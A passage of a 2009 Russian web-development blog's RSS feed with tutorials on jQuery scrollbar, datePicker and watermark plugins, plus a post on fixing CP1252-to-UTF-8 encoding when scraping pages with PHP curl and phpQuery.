		<description><![CDATA[Часто при заказе верстки заказчик желает чтобы системные элементы, например полосы прокрутки (scrollbar) выглядели в одном стиле в разных браузерах. Кастомизация системных элементов неблагодарное занятие, но если нужно то нужно. Данную проблему решить с помощью чистого css невозможно. Решение на чистом JavaScript зачастую довольно громоздки, в плане количества строк кода. Рассмотрим решение базирующееся на популярном [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_scrollbarr.png"><img class="size-full wp-image-876 aligncenter" title="jquery_scrollbarr" src="/wp-content/uploads/2009/09/jquery_scrollbarr.png" alt="jquery_scrollbarr" width="442" height="526" /></a></p>
<p>Часто при заказе верстки  заказчик желает чтобы  системные  элементы, например полосы прокрутки (scrollbar) выглядели в одном стиле в разных  браузерах. Кастомизация системных  элементов неблагодарное занятие, но если нужно то нужно.</p>
<p>Данную проблему решить с помощью чистого css невозможно.<br />
Решение на чистом JavaScript зачастую довольно громоздки, в плане количества строк кода.</p>
<p>Рассмотрим  решение базирующееся на популярном фреймворке &#8212; jQuery/<br />
<span id="more-874"></span></p>
<p><strong>Что и как?</strong></p>
<p>Нам потребуется несколько файлов</p>
<p>Для работы плагина необходимы следующие файлы:</p>
<p>плагин   <strong>the mouse wheel </strong>(реализация полной поддержки всех событий мыши)<br />
плагин  <strong>the jQEm</strong> (реализация  динамического  изменения размера скролла при  изменении  количества контента пользователем)<br />
плагин  <strong>jScrollPane </strong>(нужный нам плагин  реализующий скролл у любого блока со стилем <strong>overflow:auto</strong>)<br />
jScrollPane.css  &#8212;  стили</p>
<p>Все файлы можно загрузить <a href="/wp-content/uploads/2009/09/jQueryScrollPane.zip">вот здесь</a>.</p>
<p>Подключается все это простым добавлением в head вашей страницы следующих ссылок:</p>
<p>&lt;script type=&#187;text/javascript&#187; src=&#187;jquery.js&#187;&gt;&lt;/script&gt;</p>
<p>&lt;script type=&#187;text/javascript&#187; src=&#187;jquery.mousewheel.min.js&#187;&gt;&lt;/script&gt;</p>
<p>&lt;script type=&#187;text/javascript&#187; src=&#187;jquery.em.js&#187;&gt;&lt;/script&gt;</p>
<p>&lt;script type=&#187;text/javascript&#187; src=&#187;jScrollPane.js&#187;&gt;&lt;/script&gt;</p>
<p>&lt;link rel=&#187;stylesheet&#187; type=&#187;text/css&#187; media=&#187;all&#187; href=&#187;jScrollPane.css&#187; /&gt;</p>
<p>Активируется  скроллбар  для заданного элемента кодом :</p>
<pre style="width: auto; float: none; clear: none; overflow-x: visible; overflow-y: visible; font-size: 12px; line-height: 1.333; white-space: pre; font-family: monospace; margin: 0px;">$<span style="color: #009900;">(</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">(</span><span style="color: #009900;">)</span>
<span style="color: #009900;">{</span>
	$<span style="color: #009900;">(</span><span style="color: #3366cc;">'.scroll-pane'</span><span style="color: #009900;">)</span>.<span style="color: #660066;">jScrollPane</span><span style="color: #009900;">(</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span>
<span style="color: #009900;">}</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></pre>
<pre style="width: auto; float: none; clear: none; overflow-x: visible; overflow-y: visible; font-size: 12px; line-height: 1.333; white-space: pre; font-family: monospace; margin: 0px;"><span style="color: #339933;">
</span></pre>
<pre style="width: auto; float: none; clear: none; overflow-x: visible; overflow-y: visible; font-size: 12px; line-height: 1.333; white-space: pre; font-family: monospace; margin: 0px;"><span style="color: #339933;">
</span></pre>
<p><strong>Дополнительные параметры:</strong></p>
<p><strong>scrollbarWidth [int]</strong> — ширина скроллбара в пикселях (по умолчанию 10)<br />
<strong>scrollbarMargin [int]</strong> — отступ слева от скроллбара в пикселях (по умолчанию 5)<br />
<strong>wheelSpeed [int]</strong> — управление скоростью перемещения контента при скролле в пикселях (по умолчанию 18)<br />
<strong>showArrows [boolean]</strong> — управляет выводом стрелочек вверх-вниз (по умолчанию задано &#8216;false&#8217;)<br />
<strong>arrowSize [int]</strong> — высота стрелок если showArrows=true (подсчитывается из CSS если не задана)<br />
<strong>animateTo [boolean]</strong> — определяет автопрокрутку к определенному флагу scrollTo and scrollBy (по умолчанию &#8216;false&#8217;)<br />
<strong>dragMinHeight [int] </strong>— минимальная высота при которой появляется скролл (по умолчанию 0)<br />
<strong>dragMaxHeight [int] </strong>— максимальная высота при которой появляется скролл (по умолчанию 99999!)<br />
<strong>animateInterval [int]</strong> — Интервал в миллисекундах для обновления и анимации области скролла (по умолчанию 100)<br />
<strong>animateStep [int]</strong> — Определяет расстояние при достижении которого начинается анимация (по умолчанию 3)<br />
<strong>maintainPosition [boolean]</strong> — Позволяет зафиксировать позицию контента при его изменении (по умолчанию &#8216;true&#8217;)<br />
<strong>scrollbarOnLeft [boolean]</strong> — Определяет положение скроллбара слева от контента (также можно определить с помощью CSS)<br />
<strong>reinitialiseOnImageLoad [boolean]</strong> — Определяет должен ли скрипт реинициализировать себя при добавлении в контент изображения (по умолчанию &#8216;false&#8217;)</p>
<p><strong>Каким образом   имитировать  скроллбар  операционной системы?</strong></p>
<p>Нужно немного изменить css, например под  MAC OS</p>
<p>.osX .jScrollPaneTrack {<br />
background: url(osx_track.gif) repeat-y;<br />
}<br />
.osX .jScrollPaneDrag {<br />
background: url(osx_drag_middle.gif) repeat-y;<br />
}<br />
.osX .jScrollPaneDragTop {<br />
background: url(osx_drag_top.gif) no-repeat;<br />
height: 6px;<br />
}<br />
.osX .jScrollPaneDragBottom {<br />
background: url(osx_drag_bottom.gif) no-repeat;<br />
height: 7px;<br />
}<br />
.osX a.jScrollArrowUp {<br />
height: 24px;<br />
background: url(osx_arrow_up.png) no-repeat 0 -30px;<br />
}<br />
.osX a.jScrollArrowUp:hover {<br />
background-position: 0 0;<br />
}<br />
.osX a.jScrollArrowDown {<br />
height: 24px;<br />
background: url(osx_arrow_down.png) no-repeat 0 -30px;<br />
}<br />
.osX a.jScrollArrowDown:hover {<br />
background-position: 0 0;<br />
}</p>
<p>.left .jScrollPaneTrack {<br />
left: 0;<br />
right: auto;<br />
}<br />
.left a.jScrollArrowUp {<br />
left: 0;<br />
right: auto;<br />
}<br />
.left a.jScrollArrowDown {<br />
left: 0;<br />
right: auto;<br />
}</p>
<p>/* IE SPECIFIC HACKED STYLES */<br />
* html .osX .jScrollPaneDragBottom {<br />
bottom: -1px;<br />
}<br />
/* /IE SPECIFIC HACKED STYLES */</p>
<p>В архиве все перечисленные   изображения в стилях  присутствуют</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/09/28/jquery-skrollbarkastomizirovat-skrollbar-brauzera/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>CP1252 в UTF-8, как  преобразовать кодировку</title>
		<link>http://saintist.ru/2009/09/25/cp1252-encode-to-utf-8/</link>
		<comments>http://saintist.ru/2009/09/25/cp1252-encode-to-utf-8/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 20:28:06 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[CURL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[phpquery]]></category>
		<category><![CDATA[charset]]></category>
		<category><![CDATA[mb_internal_encoding]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=863</guid>
		<description><![CDATA[Взял недавно заказ на сбор информации из открытых источников, в просторечии, парсинг сайта. Использовал phpQuery как базу для написания граббера. Клиенту нужен был результат конечный, сам граббер не нужен. Сайтов было несколько, и в общей сложности собрал базу на 20 тысяч записей. Но речь не об этом. При грабе одного из сайтов столкнулся с небольшой [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/09/i-will-not-assume-untrusted-data-is-valid-utf-8_0.png"><img class="size-full wp-image-864 aligncenter" title="i-will-not-assume-untrusted-data-is-valid-utf-8_0" src="http://saintist.ru/wp-content/uploads/2009/09/i-will-not-assume-untrusted-data-is-valid-utf-8_0.png" alt="i-will-not-assume-untrusted-data-is-valid-utf-8_0" width="505" height="317" /></a></p>
<p>Взял  недавно заказ на сбор информации  из  открытых  источников, в просторечии, парсинг сайта. Использовал  phpQuery как базу для  написания граббера. Клиенту нужен был результат конечный, сам граббер не нужен. Сайтов было несколько, и в общей сложности собрал  базу на 20 тысяч записей. Но речь не об этом. При грабе одного из  сайтов столкнулся с небольшой проблемой.<br />
<span id="more-863"></span></p>
<p>Кириллическая кодировка выводилась в виде <strong>??????????? / ??? </strong></p>
<p>на странице был  прописан  charset  windows-1251</p>
<p>забирал  контент донора через</p>
<pre>
$ch = curl_init($url);
$agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)";
@curl_setopt ( $ch , CURLOPT_USERAGENT , $agent );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page = curl_exec($ch);
curl_close($ch);
</pre>
<p>потом $page скармливал  phpQuery</p>
<pre>
$results = phpQuery::newDocument($page )
</pre>
<p>но  phpQuery  почему-то для скормленного ей  контента ставила  utf-8 (она себя так ведет если не может определить кодировку донора, т.е. ставит по умолчанию UTF-8 )</p>
<p><strong>mb_internal_encoding()</strong> выдал что  используется ISO-8859-1, это же подтвердил  и анализ  заголовков, с целевого донора</p>
<pre>
Date	Fri, 25 Sep 2009 19:54:06 GMT
Server	Microsoft-IIS/6.0
X-Powered-By	ASP.NET
X-AspNet-Version	2.0.50727
Location	************
Cache-Control	private
Accept-Charset	ISO-8859-1,utf-8;q=0.7,*;q=0.7
Content-Length	0
</pre>
<p>а ISO-8859-1  это не cp1251 а cp1252</p>
<p><strong>Решение. Как  преобразовать кодировку CP1252 в UTF-8 (в UTF-8  пишется в базу и скрипт сам в UTF-8  сохранен)</strong></p>
<pre>
iconv('windows-1252','utf-8//IGNORE','текст');  непомогло
</pre>
<p>возвращало <strong>??«???????°?®?±????&amp; #195;? / ?‹???·</strong></p>
<p>преобразование через  mb_convert_encoding(&#8216;текст&#8217;,mb_internal_encoding(), ‘UTF-8?); тоже не дало  результат</p>
<p>Решение оказалось  вот  каким</p>
<pre>
$title= mb_convert_encoding($title,mb_detect_encoding($title , "CP1252"), 'UTF8');
$title= mb_convert_encoding($title,'UTF8', "CP1251");
</pre>
<p>если просто из CP1252 в UTF8 преобразовать то на выходе  всеравно каракули (вопросительные знаки), приходится из  UTF-8 в CP1251 преобразовывать  и все ок</p>
<p><strong>ps:</strong>вполне возможно что в вашем случае  этот вариант не подойдет, рассмотрен частный случай, сервер с которого я парсил инфу своеобразно отдавал ее.<br />
В странице была одна кодировка прописана тегом как CP1251, но на деле была CP1252, если смотреть заголовки.  </p>
<p>UTF дергаю так как  на моем хосте все  своеобразно настроено )  </p>
<p>в итоге смотрите по обстоятельствам</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/09/25/cp1252-encode-to-utf-8/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>jQuery date picker plug-in выбираем дату</title>
		<link>http://saintist.ru/2009/09/16/jquery-date-picker-plugin/</link>
		<comments>http://saintist.ru/2009/09/16/jquery-date-picker-plugin/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 20:29:49 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>
		<category><![CDATA[datePicker]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=836</guid>
		<description><![CDATA[Довольно часто попадается ситуация организовать на стороне клиента (пользователя) функционал позволяющий вводить в поле при редактировании данных , параметры в формате отображения даты. Плагин datePicker для jQuery отлично помогает в такой ситуации. Что потребуется? Разумеется подключаем jQuery дополнительно подключаем &#60;!-- библиотеку для работы с датой --&#62; &#60;script type="text/javascript" src="scripts/date.js"&#62; &#60;/script&#62; Фикс прелестей IE &#60;!--[if IE]&#62; [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2009/09/jquery_datePicker.png"><img class="size-full wp-image-837  aligncenter" title="jquery_datePicker" src="/wp-content/uploads/2009/09/jquery_datePicker.png" alt="jquery_datePicker" width="360" height="360" /></a></p>
<p>Довольно часто попадается ситуация организовать на стороне клиента (пользователя)  функционал  позволяющий вводить в поле при редактировании  данных , параметры в  формате отображения даты. Плагин datePicker для jQuery   отлично помогает в такой ситуации.<br />
<span id="more-836"></span></p>
<p>Что потребуется?</p>
<p>Разумеется подключаем  jQuery</p>
<p>дополнительно подключаем</p>
<pre style="padding: 0px; margin: 0px;">&lt;!-- библиотеку для работы с датой --&gt;
&lt;script type="text/javascript" src="scripts/<a href="/wp-content/uploads/2009/09/date.js">date.js</a>"&gt;</pre>
<pre style="padding: 0px; margin: 0px;">&lt;/script&gt;</pre>
<pre style="padding: 0px; margin: 0px;"><span style="font-family: Georgia;"><span style="line-height: 19px; white-space: normal;">
</span></span></pre>
<pre style="padding: 0px; margin: 0px;"><span style="font-family: Georgia;"><span style="line-height: 19px; white-space: normal;">Фикс прелестей IE </span></span></pre>
<pre style="padding: 0px; margin: 0px;"><span style="font-family: Georgia;"><span style="line-height: 19px; white-space: normal;">
</span></span></pre>
<pre style="padding: 0px; margin: 0px;"><span style="font-family: Georgia;"><span style="line-height: 19px; white-space: normal;">
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">&lt;!--[if IE]&gt;</pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">&lt;script type="text/javascript" </pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">src="scripts/<a href="/wp-content/uploads/2009/09/jquery.bgiframe.js">jquery.bgiframe.js</a>"&gt;&lt;/script&gt;</pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">&lt;![endif]--&gt;</pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">и сам плагин</pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;"><span style="font-family: Georgia;"><span style="line-height: 19px; white-space: normal;">
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">&lt;!-- jquery.datePicker.js --&gt;
&lt;script type="text/javascript" </pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">src="scripts/<a href="/wp-content/uploads/2009/09/jquery.datePicker.min-2.1.2.js">jquery.datePicker.min-2.1.2.js</a>"&gt;</pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace; padding: 0px; margin: 0px;">&lt;/script&gt;</pre>
<div><span style="font-family: Consolas;"><span style="line-height: 18px; white-space: pre;"><br />
</span></span></div>
<p></span></span></pre>
</pre>
<p>также нужно прикрутить</p>
<p>------------------</p>
<p>table.jCalendar {<br />
border: 1px solid #000;<br />
background: #aaa;<br />
border-collapse: separate;<br />
border-spacing: 2px;<br />
}<br />
table.jCalendar th {<br />
background: #333;<br />
color: #fff;<br />
font-weight: bold;<br />
padding: 3px 5px;<br />
}</p>
<p>table.jCalendar td {<br />
background: #ccc;<br />
color: #000;<br />
padding: 3px 5px;<br />
text-align: center;<br />
}<br />
table.jCalendar td.other-month {<br />
background: #ddd;<br />
color: #aaa;<br />
}<br />
table.jCalendar td.today {<br />
background: #666;<br />
color: #fff;<br />
}<br />
table.jCalendar td.selected {<br />
background: #f66;<br />
color: #fff;<br />
}<br />
table.jCalendar td.selected.dp-hover {<br />
background: #f33;<br />
color: #fff;<br />
}<br />
table.jCalendar td.dp-hover,<br />
table.jCalendar tr.activeWeekHover td {<br />
background: #fff;<br />
color: #000;<br />
}<br />
table.jCalendar tr.selectedWeek td {<br />
background: #f66;<br />
color: #fff;<br />
}<br />
table.jCalendar td.disabled, table.jCalendar td.disabled.dp-hover {<br />
background: #bbb;<br />
color: #888;<br />
}<br />
table.jCalendar td.unselectable,<br />
table.jCalendar td.unselectable:hover,<br />
table.jCalendar td.unselectable.dp-hover {<br />
background: #bbb;<br />
color: #888;<br />
}</p>
<p>/* For the popup */</p>
<p>/* NOTE - you will probably want to style a.dp-choose-date - see how I did it in demo.css */</p>
<p>div.dp-popup {<br />
position: relative;<br />
background: #ccc;<br />
font-size: 10px;<br />
font-family: arial, sans-serif;<br />
padding: 2px;<br />
width: 171px;<br />
line-height: 1.2em;<br />
}<br />
div#dp-popup {<br />
position: absolute;<br />
z-index: 199;<br />
}<br />
div.dp-popup h2 {<br />
font-size: 12px;<br />
text-align: center;<br />
margin: 2px 0;<br />
padding: 0;<br />
}<br />
a#dp-close {<br />
font-size: 11px;<br />
padding: 4px 0;<br />
text-align: center;<br />
display: block;<br />
}<br />
a#dp-close:hover {<br />
text-decoration: underline;<br />
}<br />
div.dp-popup a {<br />
color: #000;<br />
text-decoration: none;<br />
padding: 3px 2px 0;<br />
}<br />
div.dp-popup div.dp-nav-prev {<br />
position: absolute;<br />
top: 2px;<br />
left: 4px;<br />
width: 100px;<br />
}<br />
div.dp-popup div.dp-nav-prev a {<br />
float: left;<br />
}<br />
/* Opera needs the rules to be this specific otherwise it doesn't change the cursor back to pointer after you have disabled and re-enabled a link */<br />
div.dp-popup div.dp-nav-prev a, div.dp-popup div.dp-nav-next a {<br />
cursor: pointer;<br />
}<br />
div.dp-popup div.dp-nav-prev a.disabled, div.dp-popup div.dp-nav-next a.disabled {<br />
cursor: default;<br />
}<br />
div.dp-popup div.dp-nav-next {<br />
position: absolute;<br />
top: 2px;<br />
right: 4px;<br />
width: 100px;<br />
}<br />
div.dp-popup div.dp-nav-next a {<br />
float: right;<br />
}<br />
div.dp-popup a.disabled {<br />
cursor: default;<br />
color: #aaa;<br />
}<br />
div.dp-popup td {<br />
cursor: pointer;<br />
}<br />
div.dp-popup td.disabled {<br />
cursor: default;<br />
}</p>
<p>------------------------------</p>
<p>для datePicker</p>
<p><strong>Что и как ?</strong></p>
<p><strong><br />
</strong></p>
<p><strong>Простая ставка datePicker</strong></p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-1.png"><img class="alignnone size-full wp-image-849" title="jquery_datePicker_sample-1" src="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-1.png" alt="jquery_datePicker_sample-1" width="181" height="34" /></a></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick').datePicker();
});</pre>
<p>Для иконки календаря дополнительно добавим css код</p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">a.dp-choose-date {
	float: left;
	width: 16px;
	height: 16px;
	padding: 0;
	margin: 5px 3px 0;
	display: block;
	text-indent: -2000px;
	overflow: hidden;
	background: url(calendar.png) no-repeat;
}
a.dp-choose-date.dp-disabled {
	background-position: 0 -20px;
	cursor: default;
}
/* makes the input field shorter once the date picker code
 * has run (to allow space for the calendar icon
 */
input.dp-applied {
	width: 140px;
	float: left;
}</pre>
<p><strong>Включение подсветки текущего дня</strong></p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-2.png"><img class="alignnone size-full wp-image-850" title="jquery_datePicker_sample-2" src="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-2.png" alt="jquery_datePicker_sample-2" width="337" height="160" /></a></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick').datePicker().val(new Date().asString()).trigger('change');
});</pre>
<p><strong>Вставка с подсветкой  предыдущего выбора</strong></p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-3.png"><img class="alignnone size-full wp-image-851" title="jquery_datePicker_sample-3" src="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-3.png" alt="jquery_datePicker_sample-3" width="334" height="160" /></a></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick').datePicker({startDate:'01/01/1996'});
});</pre>
<p>и добавим код  css </p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">a.dp-choose-date {
	float: left;
	width: 16px;
	height: 16px;
	padding: 0;
	margin: 5px 3px 0;
	display: block;
	text-indent: -2000px;
	overflow: hidden;
	background: url(calendar.png) no-repeat;
}
a.dp-choose-date.dp-disabled {
	background-position: 0 -20px;
	cursor: default;
}
/* makes the input field shorter once the date picker code
 * has run (to allow space for the calendar icon
 */
input.dp-applied {
	width: 140px;
	float: left;
}</pre>
<p><strong>Вставка с ограничением диапазона дат для выбора</strong><br />
<a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-4.png"><img class="alignnone size-full wp-image-852" title="jquery_datePicker_sample-4" src="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-4.png" alt="jquery_datePicker_sample-4" width="354" height="164" /></a></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick').datePicker(
		{
			startDate: '01/01/1970',
			endDate: (new Date()).asString()
		}
	);
});</pre>
<p><strong>Инлайновая вставка</strong></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.turn-me-into-datepicker')
		.datePicker({inline:true})
		.bind(
			'dateSelected',
			function(e, selectedDate, $td)
			{
				//--здесь то что срабатывает при выборе даты
			}
		);
});</pre>
<p></span></span></pre>
<p><strong>Выборка сразу целой недели</strong><br />
<a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-5.png"><img class="alignnone size-full wp-image-853" title="jquery_datePicker_sample-5" src="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-5.png" alt="jquery_datePicker_sample-5" width="338" height="153" /></a></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick').datePicker({selectWeek:true,closeOnSelect:false});
});</pre>
<p><strong>Задать фиксированную позицию</strong></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick')
		.datePicker({createButton:false})
		.bind('click',
			function()
			{
				$(this).dpDisplay();
				this.blur();
				return false;
			}
		);
	// tl is the default so don't bother setting it's position
	$('#tr').dpSetPosition($.dpConst.POS_TOP, $.dpConst.POS_RIGHT);
	$('#bl').dpSetPosition($.dpConst.POS_BOTTOM, $.dpConst.POS_LEFT);
	$('#br').dpSetPosition($.dpConst.POS_BOTTOM, $.dpConst.POS_RIGHT);
	$('#custom-offset').dpSetOffset(10, 300);
});</pre>
<p><strong>Показ  при нажатии на текстовое поле</strong><br />
<a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-6.png"><img class="alignnone size-full wp-image-855" title="jquery_datePicker_sample-6" src="http://saintist.ru/wp-content/uploads/2009/09/jquery_datePicker_sample-6.png" alt="jquery_datePicker_sample-6" width="216" height="165" /></a></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick').datePicker({clickInput:true})
});</pre>
<p><strong>Задать свой формат временной метки</strong></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">Date.firstDayOfWeek = 0;
Date.format = 'mm/dd/yyyy';
$(function()
{
	$('.date-pick').datePicker()
});</pre>
<p><strong>Локализация , языковые настройки datePicker</strong></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$.dpText = {
	TEXT_PREV_YEAR		:	'DE Previous year',
	TEXT_PREV_MONTH		:	'DE Previous month',
	TEXT_NEXT_YEAR		:	'DE Next year',
	TEXT_NEXT_MONTH		:	'DE Next month',
	TEXT_CLOSE			:	'DE Close',
	TEXT_CHOOSE_DATE	:	'DE Choose date'
}
$(function()
{
	$('.date-pick').datePicker()
});</pre>
<p><strong>Блокировка поля ввода datePicker</strong></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick').datePicker();
	$('.dp-disable').bind(
		'click',
		function()
		{
			var $this = $(this);
			var whichInput = $this.attr('rel');
			var $dateInput = $('#date' + whichInput);
			var status = $dateInput.is('.dp-disabled');
			$dateInput.dpSetDisabled(!status);
			$this.text(
				(status ?
					'Disable' :
					'Enable'
				) + ' date ' + whichInput);
			this.blur();
			return false;
		}
	);
});</pre>
<p><strong>Обработчик событий</strong></p>
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; width: 454px; overflow-x: auto; overflow-y: auto; padding: 10px; border: 2px dashed #cccccc;">$(function()
{
	$('.date-pick')
		.datePicker({createButton:false})
		.bind(
			'click',
			function()
			{
				$(this).dpDisplay();
				this.blur();
				return false;
			}
		)
		.bind(
			'dateSelected',
			function(e, selectedDate, $td)
			{
				console.log('You selected ' + selectedDate);
			}
		);
});</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/09/16/jquery-date-picker-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery watermark input field</title>
		<link>http://saintist.ru/2009/09/06/jquery-watermark/</link>
		<comments>http://saintist.ru/2009/09/06/jquery-watermark/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 20:18:59 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=824</guid>
		<description><![CDATA[watermark &#8212; водяной знак, в нашем случае это подсказка для поля ввода что в это поле вводить. Удобно использовать в случае если пространство формы с полями ограничено и нет возможности разместить текст. Понадобится плагин jquery.watermarkinput.zip Что и как? Задаем водяные знаки для полей по ID jQuery(function($){ $(&#171;#first&#187;).Watermark(&#171;First&#187;); $(&#171;#mi&#187;).Watermark(&#171;MI&#187;); $(&#171;#last&#187;).Watermark(&#171;Last&#187;); $(&#171;#suffix&#187;).Watermark(&#171;Suffix&#187;); }); По умолчанию цвет текста [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_watermark.png"><img class="size-full wp-image-825 aligncenter" title="jquery_watermark" src="http://saintist.ru/wp-content/uploads/2009/09/jquery_watermark.png" alt="jquery_watermark" width="208" height="360" /></a></p>
<p>watermark &#8212; водяной знак, в нашем случае это подсказка для  поля ввода что в это поле вводить. Удобно использовать в случае если  пространство  формы с полями ограничено и нет возможности  разместить текст.<br />
<span id="more-824"></span></p>
<p>Понадобится плагин <a href="/wp-content/uploads/2009/09/jquery.watermarkinput.zip">jquery.watermarkinput.zip</a></p>
<p><strong>Что и как?</strong></p>
<p>Задаем водяные знаки для полей по ID </p>
<p><strong>jQuery(function($){<br />
   $(&#171;#first&#187;).Watermark(&#171;First&#187;);<br />
   $(&#171;#mi&#187;).Watermark(&#171;MI&#187;);<br />
   $(&#171;#last&#187;).Watermark(&#171;Last&#187;);<br />
   $(&#171;#suffix&#187;).Watermark(&#171;Suffix&#187;);<br />
});</strong></p>
<p>По умолчанию цвет  текста  подсказки  серый, если это не устраивает, можно задать цвет  вторым аргументом функции.</p>
<p><strong>jQuery(function($){<br />
   $(&#171;#suffix&#187;).Watermark(&#171;Suffix&#187;,&#187;#ff0000&#8243;);<br />
});</strong></p>
<p>Также, если необходимо можно  временно  убрать подсказки </p>
<p>  <strong>$.Watermark.HideAll();</strong></p>
<p>а потом заново их  показать</p>
<p>   <strong>$.Watermark.ShowAll();</strong></p>
<p>ps: соответственное если поле получает фокус то ватермарк не показывается, и показывается если  поле потеряло фокус и не содержит введенных  данных</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/09/06/jquery-watermark/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery cookie проще некуда</title>
